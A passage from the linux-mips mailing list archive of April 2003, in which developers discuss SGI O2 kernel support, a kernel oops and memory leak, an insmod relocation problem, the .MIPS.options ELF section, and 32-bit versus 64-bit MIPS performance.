	id <S8224861AbTDQPCx>; Thu, 17 Apr 2003 16:02:53 +0100
Received: (qmail 14347 invoked by uid 502); 17 Apr 2003 15:02:50 -0000
Date: Thu, 17 Apr 2003 08:02:50 -0700
From: ilya@theIlya.com
To: Clarence Donath <donath@hks.com>
Cc: linux-mips@linux-mips.org
Subject: Re: R5000 Linux
Message-ID: <20030417150250.GD4485@gateway.total-knowledge.com>
References: <200304170912.55096.donath@hks.com>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="eNMatiwYGLtwo1cJ"
Content-Disposition: inline
In-Reply-To: <200304170912.55096.donath@hks.com>
User-Agent: Mutt/1.4i
Return-Path: <ilya@gateway.total-knowledge.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2095
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ilya@theIlya.com
Precedence: bulk
X-list: linux-mips


--eNMatiwYGLtwo1cJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

O2-HOWTO: http://www.total-knowledge.com/progs/mips/o2-howto.shtml
more on the subject + kernel binaries + patches at
http://www.linux-mips.org/~glaurung/

On Thu, Apr 17, 2003 at 09:12:55AM -0400, Clarence Donath wrote:
> Hello,
>=20
> Is there a Linux kernel for the R5000 IP32?  I would like to get involved.
>=20
> I've successfully configured this SGI O2 to boot the available R4000 IP22=
=20
> kernel so I'm ready to go with IP32 if someone would be so kind as to poi=
nt=20
> me to an existing kernel.
>=20
> Thank you,
> Clarence Donath
>=20

--eNMatiwYGLtwo1cJ
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE+nsIZ7sVBmHZT8w8RArTjAKCLhXFmgFUsFwlfQ79/eETowI9RtACgnW/+
bCnwknhh7Z0XQLlRTPm93Bs=
=s0KG
-----END PGP SIGNATURE-----

--eNMatiwYGLtwo1cJ--

From ilya@gateway.total-knowledge.com Thu Apr 17 16:10:43 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 16:10:44 +0100 (BST)
Received: from 12-234-207-60.client.attbi.com ([IPv6:::ffff:12.234.207.60]:6530
	"HELO gateway.total-knowledge.com") by linux-mips.org with SMTP
	id <S8224861AbTDQPKn>; Thu, 17 Apr 2003 16:10:43 +0100
Received: (qmail 14428 invoked by uid 502); 17 Apr 2003 15:10:38 -0000
Date: Thu, 17 Apr 2003 08:10:38 -0700
From: ilya@theIlya.com
To: Guido Guenther <agx@sigxcpu.org>, linux-mips@linux-mips.org
Subject: Re: R5000 Linux
Message-ID: <20030417151038.GE4485@gateway.total-knowledge.com>
References: <200304170912.55096.donath@hks.com> <20030417145650.GJ22768@bogon.ms20.nix>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="+1TulI7fc0PCHNy3"
Content-Disposition: inline
In-Reply-To: <20030417145650.GJ22768@bogon.ms20.nix>
User-Agent: Mutt/1.4i
Return-Path: <ilya@gateway.total-knowledge.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2096
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ilya@theIlya.com
Precedence: bulk
X-list: linux-mips


--+1TulI7fc0PCHNy3
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Thu, Apr 17, 2003 at 04:56:50PM +0200, Guido Guenther wrote:
> You'll also find a cross toolchain there. The major show stopper for me
> is currently the "do_cpu invoked from kernel context!" problem which I
> didn't find any time to look into yet. I wonder wether I'm the only
> person seeing this?
I was able to reproduce it with following simple sequence of events:
#(while true; do true; done)>/dev/zero
As soon as I interrupt this, do_cpu oops happened. Problem occurs
somewhere in signeal handlin code. I didn't investoigate further yet, as
for what I am doing at the moment it is not a problem.

What is a problem, is memory leak in 2.5.47. Every time *any* process is forked,
system permenently looses few K of memory. Modifying above loop to run
cat</proc/meminfo will bring down system to its knees in about 5-10 minutes.


--+1TulI7fc0PCHNy3
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE+nsPu7sVBmHZT8w8RAnX7AJ0at6yYCijKwBSyPqWb57z4s+UwLACfXIwV
2SgFIIslp4XENFjHl2wLsHI=
=4uka
-----END PGP SIGNATURE-----

--+1TulI7fc0PCHNy3--

From bruno.randolf@4g-systems.de Thu Apr 17 16:50:48 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 16:50:53 +0100 (BST)
Received: from moutng.kundenserver.de ([IPv6:::ffff:212.227.126.185]:61928
	"EHLO moutng.kundenserver.de") by linux-mips.org with ESMTP
	id <S8224861AbTDQPus>; Thu, 17 Apr 2003 16:50:48 +0100
Received: from [212.227.126.205] (helo=mrelayng.kundenserver.de)
	by moutng.kundenserver.de with esmtp (Exim 3.35 #1)
	id 196BeY-0003TF-00; Thu, 17 Apr 2003 17:50:22 +0200
Received: from [62.109.119.183] (helo=bruno.4g)
	by mrelayng.kundenserver.de with asmtp (Exim 3.35 #1)
	id 196BeY-0003k4-00; Thu, 17 Apr 2003 17:50:22 +0200
From: Bruno Randolf <bruno.randolf@4g-systems.de>
Organization: 4G Mobile Systeme
To: ilya@theIlya.com
Subject: Re: insmod segfault
Date: Thu, 17 Apr 2003 17:50:13 +0200
User-Agent: KMail/1.5.1
References: <200304171329.37998.bruno.randolf@4g-systems.de> <20030417145911.GC4485@gateway.total-knowledge.com>
In-Reply-To: <20030417145911.GC4485@gateway.total-knowledge.com>
MIME-Version: 1.0
Content-Description: clearsigned data
Content-Disposition: inline
Cc: linux-mips@linux-mips.org
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-Id: <200304171750.17603.bruno.randolf@4g-systems.de>
Return-Path: <bruno.randolf@4g-systems.de>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2097
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: bruno.randolf@4g-systems.de
Precedence: bulk
X-list: linux-mips

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

thanks for the tip - i have that defined in hello_module.c

bruno

On Thursday 17 April 2003 16:59, you wrote:
> I think you have to add -DMODULE when compiling soemthing as module...
>
> On Thu, Apr 17, 2003 at 01:29:33PM +0200, Bruno Randolf wrote:
> Content-Description: clearsigned data
>
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > hello!
> >
> > i have problems with a kernel module: when i insmod it, i get a
> > segmentation fault and "Unable to handle kernel paging request at virtual
> > address 00000004" oops, so as far as i understand it, it seems like
> > relocation does not occur properly.
> >
> > i can reproduce the problem with the attached simple test code. when i
> > insmod only hello_module.o it works fine, but when i insmod the result of
> > "ld" (mod.o) i get the error. so it seems the problem is with the linker.
> > or am i using wrong compiler / linker flags or doing something stupid?
> >
> > i compile with "gcc -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer
> > - -fno-strict-aliasing -mno-abicalls -G 0 -fno-pic -mcpu=r4600 -mips2
> > - -Wa,--trap -pipe -mlong-calls -I/usr/src/linux/include -O3 -D__KERNEL__
> > - -DLINUX -DMESSAGES"
> >
> > and link with "ld -r -o mod.o hello_module.o b.o"
> >
> > versions:
> > * au1500 CPU
> > * kernel version 2.4.21-pre4 from cvs
> > * gcc version 3.0.4 (also: gcc version 2.95.4)
> > * GNU ld version 2.12.90.0.1 20020307 Debian/GNU Linux
> > * insmod version 2.4.15
> >
> > objdump -x mod.o says:
> >
> > - ---
> >
> > mod.o:     file format elf32-tradlittlemips
> > mod.o
> > architecture: mips:6000, flags 0x00000011:
> > HAS_RELOC, HAS_SYMS
> > start address 0x00000000
> > private flags = 10001001: [abi=O32] [mips2] [not 32bitmode]
> >
> > Sections:
> > Idx Name          Size      VMA               LMA               File off
> > Algn 0 .reginfo      00000018  00000000  00000000  00000034  2**2
> >                   CONTENTS, ALLOC, LOAD, READONLY, DATA,
> > LINK_ONCE_SAME_SIZE 1 .text         00000070  00000000  00000000
> > 00000050  2**4
> >                   CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
> >   2 .rodata       00000030  00000000  00000000  000000c0  2**4
> >                   CONTENTS, ALLOC, LOAD, READONLY, DATA
> >   3 .modinfo      0000001c  00000000  00000000  000000f0  2**2
> >                   CONTENTS, ALLOC, LOAD, READONLY, DATA
> >   4 .data         00000000  00000000  00000000  00000110  2**4
> >                   CONTENTS, ALLOC, LOAD, DATA
> >   5 .sbss         00000000  00000000  00000000  00000110  2**0
> >                   ALLOC
> >   6 .bss          00000000  00000000  00000000  00000110  2**4
> >                   ALLOC
> >   7 .comment      00000024  00000000  00000000  00000110  2**0
> >                   CONTENTS, READONLY
> >   8 .pdr          00000040  00000000  00000000  00000134  2**2
> >                   CONTENTS, RELOC, READONLY
> > SYMBOL TABLE:
> > 00000000 l    d  .reginfo       00000000
> > 00000000 l    d  .text  00000000
> > 00000000 l    d  *ABS*  00000000
> > 00000000 l    d  *ABS*  00000000
> > 00000000 l    d  .rodata        00000000
> > 00000000 l    d  .modinfo       00000000
> > 00000000 l    d  .data  00000000
> > 00000000 l    d  .sbss  00000000
> > 00000000 l    d  .bss   00000000
> > 00000000 l    d  .comment       00000000
> > 00000000 l    d  .pdr   00000000
> > 00000000 l    d  *ABS*  00000000
> > 00000000 l    d  *ABS*  00000000
> > 00000000 l    d  *ABS*  00000000
> > 00000000 l    d  *ABS*  00000000
> > 00000000 l    d  *ABS*  00000000
> > 00000000 l    df *ABS*  00000000 hello_module.c
> > 00000000 l     O .modinfo       0000001b __module_kernel_version
> > 00000000 l    df *ABS*  00000000 b.c
> > 00000004 g     O .scommon       00000004 b
> > 00000038 g     F .text  00000000 cleanup_module
> > 00000000 g     F .text  00000000 init_module
> > 00000000         *UND*  00000000 printk
> > 00000004 g     O .scommon       00000004 glob_int
> >
> >
> > RELOCATION RECORDS FOR [.text]:
> > OFFSET   TYPE              VALUE
> > 00000008 R_MIPS_HI16       .rodata
> > 0000000c R_MIPS_LO16       .rodata
> > 00000010 R_MIPS_HI16       printk
> > 00000014 R_MIPS_LO16       printk
> > 00000028 R_MIPS_HI16       glob_int
> > 0000002c R_MIPS_LO16       glob_int
> > 00000040 R_MIPS_HI16       .rodata
> > 00000044 R_MIPS_LO16       .rodata
> > 00000048 R_MIPS_HI16       printk
> > 0000004c R_MIPS_LO16       printk
> >
> >
> > RELOCATION RECORDS FOR [.pdr]:
> > OFFSET   TYPE              VALUE
> > 00000000 R_MIPS_32         init_module
> > 00000020 R_MIPS_32         cleanup_module
> >
> > - ---
> >
> > thanks for any hints.
> >
> > btw: this issue is not related to the one i posted about before
> > ("au1500mm problems") - which is resolved already and was caused by a
> > wrong initialization of the dual PHY ethernet hardware.
> >
> > bruno
> > -----BEGIN PGP SIGNATURE-----
> > Version: GnuPG v1.2.1 (GNU/Linux)
> >
> > iD8DBQE+npAhfg2jtUL97G4RAu5qAJ4xWO8tpPYTCTkcWzkIn3D2ylhAhQCgo2As
> > dAXSGorKOTB9E6C1r3I1WEU=
> > =2wA9
> > -----END PGP SIGNATURE-----

- --
4G Mobile Systeme GmbH
Sierichstrasse 149
22299 Hamburg
fon: +49 (0)40 / 48 40 33 28
fax: +49 (0)40 / 48 40 33 30
mail: bruno.randolf@4g-systems.de
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+ns05fg2jtUL97G4RAp8BAJ9ljWye7MxVLhY5rTOJ/qiIjO+OCwCfdAfz
ERNTs8nJjR7x8NEWEN3Vsk0=
=cBUe
-----END PGP SIGNATURE-----


From jsun@mvista.com Thu Apr 17 17:48:01 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 17:48:01 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:50415 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8224861AbTDQQsB>;
	Thu, 17 Apr 2003 17:48:01 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h3HGlx316417;
	Thu, 17 Apr 2003 09:47:59 -0700
Date: Thu, 17 Apr 2003 09:47:59 -0700
From: Jun Sun <jsun@mvista.com>
To: linux-mips@linux-mips.org
Cc: jsun@mvista.com
Subject: What is .MIPS.options ELF section?
Message-ID: <20030417094759.C1642@mvista.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2098
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips


I started to play with the new N32/N64 toolchains.  I notice a new
section is generated for kernel, called .MIPS.options.  (it actually
causes some grief for some firmware)

Can someone enlighten me a little bit on what it is? 


Jun

From DennisCastleman@oaktech.com Thu Apr 17 19:00:36 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 19:00:40 +0100 (BST)
Received: from [IPv6:::ffff:207.16.149.110] ([IPv6:::ffff:207.16.149.110]:9405
	"EHLO mail.teralogic.tv") by linux-mips.org with ESMTP
	id <S8224861AbTDQSAg>; Thu, 17 Apr 2003 19:00:36 +0100
Received: from tlexmail.teralogic.tv (tlexmail [192.168.100.138])
	by mail.teralogic.tv (8.11.6/8.11.6) with ESMTP id h3HHvAO22987
	for <linux-mips@linux-mips.org>; Thu, 17 Apr 2003 10:57:10 -0700 (PDT)
Received: by TLEXMAIL with Internet Mail Service (5.5.2653.19)
	id <22ACPB06>; Thu, 17 Apr 2003 10:53:57 -0700
Message-ID: <56BEF0DBC8B9D611BFDB00508B5E2634102F10@TLEXMAIL>
From: Dennis Castleman <DennisCastleman@oaktech.com>
To: linux-mips@linux-mips.org
Subject: 
Date: Thu, 17 Apr 2003 10:53:57 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C3050A.51918910"
Return-Path: <DennisCastleman@oaktech.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2099
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: DennisCastleman@oaktech.com
Precedence: bulk
X-list: linux-mips

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3050A.51918910
Content-Type: text/plain;
	charset="ISO-8859-1"

ALL

Anybody know the performance differences I can expect using a MIPS 5K core
@250 Mhz in 64bit mode versus 32bit mode?

Dennis 


------_=_NextPart_001_01C3050A.51918910
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE></TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">ALL</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Anybody know the performance =
differences I can expect using a MIPS 5K core @250 Mhz in 64bit mode =
versus 32bit mode?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Comic Sans MS">Dennis</FONT>=20
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C3050A.51918910--

From jsun@mvista.com Thu Apr 17 19:17:22 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 19:17:22 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:44018 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8224861AbTDQSRW>;
	Thu, 17 Apr 2003 19:17:22 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h3HIHAk24000;
	Thu, 17 Apr 2003 11:17:10 -0700
Date: Thu, 17 Apr 2003 11:17:10 -0700
From: Jun Sun <jsun@mvista.com>
To: Dennis Castleman <DennisCastleman@oaktech.com>
Cc: linux-mips@linux-mips.org, jsun@mvista.com
Subject: Re: your mail
Message-ID: <20030417111710.F1642@mvista.com>
References: <56BEF0DBC8B9D611BFDB00508B5E2634102F10@TLEXMAIL>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <56BEF0DBC8B9D611BFDB00508B5E2634102F10@TLEXMAIL>; from DennisCastleman@oaktech.com on Thu, Apr 17, 2003 at 10:53:57AM -0700
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2100
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips

On Thu, Apr 17, 2003 at 10:53:57AM -0700, Dennis Castleman wrote:
> ALL
> 
> Anybody know the performance differences I can expect using a MIPS 5K core
> @250 Mhz in 64bit mode versus 32bit mode?
>

It really depends on the applications.  The biggest gain from 64bit,
other than the obviously bigger address space, is 64bit data
manipulation.  A single 64bit instruction (add/sub/...) is carried
out by several instructions in 32bit.

If your apps are heavy on 64bit operations, then you gain.
Otherwise I suspect no performance gain or even possibly a little 
worse performance due more stress on cache/memory subsystems.

I am sure others with more 64bit experience probably have more 
to say.  :)


Jun

From ica2_ts@csv.ica.uni-stuttgart.de Thu Apr 17 19:33:00 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 19:33:03 +0100 (BST)
Received: from iris1.csv.ica.uni-stuttgart.de ([IPv6:::ffff:129.69.118.2]:31567
	"EHLO iris1.csv.ica.uni-stuttgart.de") by linux-mips.org with ESMTP
	id <S8224861AbTDQSdA>; Thu, 17 Apr 2003 19:33:00 +0100
Received: from rembrandt.csv.ica.uni-stuttgart.de ([129.69.118.42])
	by iris1.csv.ica.uni-stuttgart.de with esmtp (Exim 3.36 #2)
	id 196EBt-000YRA-00
	for linux-mips@linux-mips.org; Thu, 17 Apr 2003 20:32:57 +0200
Received: from ica2_ts by rembrandt.csv.ica.uni-stuttgart.de with local (Exim 3.35 #1 (Debian))
	id 196EBt-0006Qc-00
	for <linux-mips@linux-mips.org>; Thu, 17 Apr 2003 20:32:57 +0200
Date: Thu, 17 Apr 2003 20:32:57 +0200
To: linux-mips@linux-mips.org
Subject: Re: What is .MIPS.options ELF section?
Message-ID: <20030417183257.GF32329@rembrandt.csv.ica.uni-stuttgart.de>
References: <20030417094759.C1642@mvista.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20030417094759.C1642@mvista.com>
User-Agent: Mutt/1.4i
From: Thiemo Seufer <ica2_ts@csv.ica.uni-stuttgart.de>
Return-Path: <ica2_ts@csv.ica.uni-stuttgart.de>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2101
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ica2_ts@csv.ica.uni-stuttgart.de
Precedence: bulk
X-list: linux-mips

Jun Sun wrote:
> 
> I started to play with the new N32/N64 toolchains.  I notice a new
> section is generated for kernel, called .MIPS.options.  (it actually
> causes some grief for some firmware)
> 
> Can someone enlighten me a little bit on what it is? 

In its current state it is basically a replacement for .reginfo.
For kernels etc. it can simply be /DISCARD/'ed.


Thiemo

From macro@ds2.pg.gda.pl Thu Apr 17 19:38:55 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 19:38:56 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:23473 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8224861AbTDQSiz>; Thu, 17 Apr 2003 19:38:55 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id UAA21533;
	Thu, 17 Apr 2003 20:39:29 +0200 (MET DST)
Date: Thu, 17 Apr 2003 20:39:28 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Jun Sun <jsun@mvista.com>
cc: linux-mips@linux-mips.org
Subject: Re: What is .MIPS.options ELF section?
In-Reply-To: <20030417094759.C1642@mvista.com>
Message-ID: <Pine.GSO.3.96.1030417203540.16154L-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2102
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Thu, 17 Apr 2003, Jun Sun wrote:

> I started to play with the new N32/N64 toolchains.  I notice a new
> section is generated for kernel, called .MIPS.options.  (it actually
> causes some grief for some firmware)

 It's a replacement for the .reginfo section of o32.  See
'ftp://ftp.linux-mips.org/pub/linux/mips/doc/ABI/ELF64.ps' for details. 

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From lindahl@keyresearch.com Thu Apr 17 21:14:49 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 21:14:50 +0100 (BST)
Received: from 66-122-194-201.ded.pacbell.net ([IPv6:::ffff:66.122.194.201]:57985
	"EHLO localhost.localdomain") by linux-mips.org with ESMTP
	id <S8225223AbTDQUOt>; Thu, 17 Apr 2003 21:14:49 +0100
Received: from localhost.localdomain (greglaptop [127.0.0.1])
	by localhost.localdomain (8.12.8/8.12.5) with ESMTP id h3HKF3hv001633
	for <linux-mips@linux-mips.org>; Thu, 17 Apr 2003 13:15:03 -0700
Received: (from lindahl@localhost)
	by localhost.localdomain (8.12.8/8.12.8/Submit) id h3HKF3dI001631
	for linux-mips@linux-mips.org; Thu, 17 Apr 2003 13:15:03 -0700
X-Authentication-Warning: localhost.localdomain: lindahl set sender to lindahl@keyresearch.com using -f
Date: Thu, 17 Apr 2003 13:15:03 -0700
From: Greg Lindahl <lindahl@keyresearch.com>
To: linux-mips@linux-mips.org
Subject: Re: your mail
Message-ID: <20030417201503.GF1345@greglaptop.internal.keyresearch.com>
Mail-Followup-To: linux-mips@linux-mips.org
References: <56BEF0DBC8B9D611BFDB00508B5E2634102F10@TLEXMAIL> <20030417111710.F1642@mvista.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20030417111710.F1642@mvista.com>
User-Agent: Mutt/1.4.1i
Return-Path: <lindahl@keyresearch.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2103
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: lindahl@keyresearch.com
Precedence: bulk
X-list: linux-mips

On Thu, Apr 17, 2003 at 11:17:10AM -0700, Jun Sun wrote:

> It really depends on the applications.  The biggest gain from 64bit,
> other than the obviously bigger address space, is 64bit data
> manipulation.  A single 64bit instruction (add/sub/...) is carried
> out by several instructions in 32bit.

A big gain is the increased # of registers and better calling
sequence. Everyone sees that, not just people who want to use 64-bit
integers. At the moment you need to run the 64-bit kernel -- and the
new binutils & glibc -- in order to get n32 programs to work.

-- greg


From ralf@linux-mips.net Fri Apr 18 01:04:07 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 18 Apr 2003 01:04:08 +0100 (BST)
Received: from p508B7D9B.dip.t-dialin.net ([IPv6:::ffff:80.139.125.155]:24519
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225227AbTDRAEH>; Fri, 18 Apr 2003 01:04:07 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3I03ju17855;
	Fri, 18 Apr 2003 02:03:45 +0200
Date: Fri, 18 Apr 2003 02:03:45 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Dennis Castleman <DennisCastleman@oaktech.com>
Cc: linux-mips@linux-mips.org
Subject: Re: your mail
Message-ID: <20030418020345.A6962@linux-mips.org>
References: <56BEF0DBC8B9D611BFDB00508B5E2634102F10@TLEXMAIL>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <56BEF0DBC8B9D611BFDB00508B5E2634102F10@TLEXMAIL>; from DennisCastleman@oaktech.com on Thu, Apr 17, 2003 at 10:53:57AM -0700
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2104
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Thu, Apr 17, 2003 at 10:53:57AM -0700, Dennis Castleman wrote:

> Anybody know the performance differences I can expect using a MIPS 5K core
> @250 Mhz in 64bit mode versus 32bit mode?

As a rule of thumb - less performance.  64-bit code is typically larger
resulting in lower cache hit rate.  And since performance optimization
these days is essentially equivalent to maximising the cache hit rate
going 64-bit usually means a performance drop due to the drastically
larger size of code and data.

On the positive side for 64-bit stuff there's the possibility to do
64-bit computations with just one instruction, move data with less
instructions, use twice as many double precission fp registers that are
offered by 64-bit ABIs and more calling sequences.

The first two paragraphs were sort of a generic statement regarding
32-bit vs. 64-bit software on MIPS processors and affect both kernel and
userspace.  There's a few additional issues with the Linux kernel.
The 32-bit kernels requires all memory to be addressable through KSEG0
which limits it to at most 512MB; typically the limit is more like 256MB.
Memory above 512MB physical address can only be used as highmem.  That's
fairly inefficient and requires alot of special care when writing new
kernel software.  For processors that suffer from virtual aliases in
their data cache highmem currently is frighteningly inefficient - and
high memory pressure on lowmem doesn't help either.  So from a certain
point on that's simply making a 64-bit kernel is simply the better
idea - even for running 32-bit software.  That in particular applies
to very I/O intensive stuff.

In short - the right choice is a tradeoff between the hardware platform
and the application's requirements.  Choose wrong and you'll curse
loudly :-)

  Ralf

From DennisCastleman@oaktech.com Fri Apr 18 01:15:15 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 18 Apr 2003 01:15:16 +0100 (BST)
Received: from [IPv6:::ffff:207.16.149.110] ([IPv6:::ffff:207.16.149.110]:26312
	"EHLO mail.teralogic.tv") by linux-mips.org with ESMTP
	id <S8225227AbTDRAPP>; Fri, 18 Apr 2003 01:15:15 +0100
Received: from tlexmail.teralogic.tv (tlexmail [192.168.100.138])
	by mail.teralogic.tv (8.11.6/8.11.6) with ESMTP id h3I0BlO27345;
	Thu, 17 Apr 2003 17:11:47 -0700 (PDT)
Received: by TLEXMAIL with Internet Mail Service (5.5.2653.19)
	id <22ACPC9C>; Thu, 17 Apr 2003 17:08:36 -0700
Message-ID: <56BEF0DBC8B9D611BFDB00508B5E2634102F17@TLEXMAIL>
From: Dennis Castleman <DennisCastleman@oaktech.com>
To: "'Ralf Baechle'" <ralf@linux-mips.org>,
	Dennis Castleman <DennisCastleman@oaktech.com>
Cc: linux-mips@linux-mips.org
Subject: RE: your mail
Date: Thu, 17 Apr 2003 17:08:34 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
